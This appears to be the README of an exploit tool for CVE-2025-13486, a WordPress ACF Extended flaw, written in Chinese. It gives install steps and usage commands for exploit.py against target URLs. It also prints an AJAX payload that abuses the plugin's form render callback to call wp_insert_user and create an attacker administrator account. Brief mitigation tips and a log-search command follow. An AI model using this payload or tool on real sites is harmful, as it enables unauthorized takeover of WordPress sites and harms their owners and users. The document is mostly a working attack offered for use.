# 克隆仓库
git clone https://github.com/0xgh057r3c0n/CVE-2025-13486.git
cd CVE-2025-13486

# 安装依赖
pip install requests

# 或通过 requirements.txt 安装
pip install -r requirements.txt

# 赋予脚本可执行权限（Linux/Mac）
chmod +x exploit.py

requests>=2.25.1

python3 exploit.py --url <TARGET_URL> [选项]

python3 exploit.py --url http://target.com --verify

python3 exploit.py --url https://target.com

python3 exploit.py --url https://target.com \
  --user backup_admin \
  --password "P@ssw0rd123!" \
  --email [email protected]

python3 exploit.py --url target.com --verify

1. URL 验证 → 自动检测 HTTP/HTTPS
2. Nonce 提取 → 扫描页面获取 ACF nonce
3. 载荷构建 → 构造恶意 AJAX 请求
4. 请求执行 → 向目标发送利用载荷
5. 结果分析 → 检查成功标志

// ACFE 中的漏洞代码模式
$result = call_user_func_array($form['render'], array($form));

// 利用载荷结构
{
    "action": "acfe/form/render_form_ajax",
    "nonce": "提取到的_nonce",
    "form[render]": "wp_insert_user",
    "form[user_login]": "攻击者用户名",
    "form[user_pass]": "攻击者密码",
    "form[user_email]": "攻击者@email.com",
    "form[role]": "administrator"
}

# 推荐的安全插件
1. Wordfence Security
2. Sucuri Security
3. iThemes Security
4. All In One WP Security

# 服务器级保护
- 实施速率限制
- 启用 mod_security 规则
- 使用 Cloudflare 或类似 CDN
- 定期进行安全审计

# Apache 日志
grep "admin-ajax.php" /var/log/apache2/access.log | grep "acfe/form"

# WordPress 调试日志
define('WP_DEBUG', true);
define('WP_DEBUG_LOG', true);

CVE-2025-13486/
├── exploit.py          # 主要利用脚本
├── README.md           # 本文档
├── requirements.txt    # Python 依赖
├── LICENSE            # MIT 许可证文件
├── examples/          # 使用示例
│   ├── verification.txt
│   └── exploitation.txt
└── tests/             # 测试脚本
    ├── test_verify.py
    └── test_exploit.py